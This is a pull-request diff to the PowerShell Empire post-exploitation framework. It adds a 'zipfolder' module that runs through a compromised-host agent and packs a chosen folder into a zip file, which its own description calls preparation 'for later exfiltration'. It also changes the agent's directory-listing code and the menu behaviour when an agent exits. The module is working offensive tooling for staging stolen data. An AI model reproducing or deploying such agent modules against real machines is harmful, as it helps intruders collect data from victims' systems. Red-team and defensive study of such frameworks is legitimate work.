Merge pull request #22 from PowerShellEmpire/zipfolder

Zipfolder

changelog

@@ -2,6 +2,8 @@
 ---------
 -Added collection/netripper, port of the NetRipper project
 -Added collection/packet_capture for netsh event tracing
+-Added management/zipfolder for native folder compression
+-Corrected menu behavior on agent exit, bug fix on some dir behavior
 
 ============
 8/16/2015 - RELEASE 1.1

data/agent/agent.ps1

@@ -267,7 +267,12 @@ function Invoke-Empire {
                 }
                 else {
                     try{
-                        $output = Get-ChildItem -force -path "FileSystem::$cmdargs" -ErrorAction Stop | select lastwritetime,length,name
+                        if ($cmdargs.StartsWith("\\")) {
+                            $output = Get-ChildItem -force -path "FileSystem::$cmdargs" -ErrorAction Stop | select lastwritetime,length,name    
+                        }
+                        else {
+                            $output = Get-ChildItem -force -path "$cmdargs" -ErrorAction Stop | select lastwritetime,length,name
+                        }
                     }
                     catch [System.Management.Automation.ActionPreferenceStopException]{
                         $output = "[!] Error: $_ (or cannot be accessed)."

lib/common/empire.py

@@ -1247,8 +1247,8 @@ class AgentMenu(cmd.Cmd):
                 self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_EXIT")
                 # update the agent log
                 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
-		a = AgentsMenu(self.mainMenu)
+                return True
-        	a.cmdloop()
+
         except KeyboardInterrupt as e: print ""
 
 

lib/modules/management/zipfolder.py

@@ -0,0 +1,94 @@
+from lib.common import helpers
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-ZipFolder',
+
+            'Author': ['@harmj0y'],
+
+            'Description': ('Zips up a target folder for later exfiltration.'),
+
+            'Background' : False,
+
+            'OutputExtension' : None,
+            
+            'NeedsAdmin' : False,
+
+            'OpsecSafe' : True,
+
+            'MinPSVersion' : '2',
+            
+            'Comments': []
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                'Description'   :   'Agent to run module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Folder' : {
+                'Description'   :   'Folder path to zip.',
+                'Required'      :   True,
+                'Value'         :   ''                
+            },
+            'ZipFileName' : {
+                'Description'   :   'Zip name/path to create.',
+                'Required'      :   True,
+                'Value'         :   ''                
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self):
+        
+        script = """
+function Invoke-ZipFolder
+{
+    param([string]$Folder, [string]$ZipFileName)
+
+    if (-not (Test-Path $Folder)) {
+        "Target folder $Folder doesn't exist."
+        return
+    }
+
+    if (test-path $ZipFileName) { 
+        "Zip file already exists at $ZipFileName"
+        return
+    }
+
+    $Directory = Get-Item $Folder
+
+    Set-Content $ZipFileName ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
+    (dir $ZipFileName).IsReadOnly = $false
+
+    $ZipFileName = resolve-path $ZipFileName
+
+    $ZipFile = (new-object -com shell.application).NameSpace($ZipFileName)
+    $ZipFile.CopyHere($Directory.FullName)
+    "Folder $Folder zipped to $ZipFileName"
+}
+Invoke-ZipFolder"""
+        
+        for option,values in self.options.iteritems():
+            if option.lower() != "agent":
+                if values['Value'] and values['Value'] != '':
+                    script += " -" + str(option) + " " + str(values['Value']) 
+    
+        return script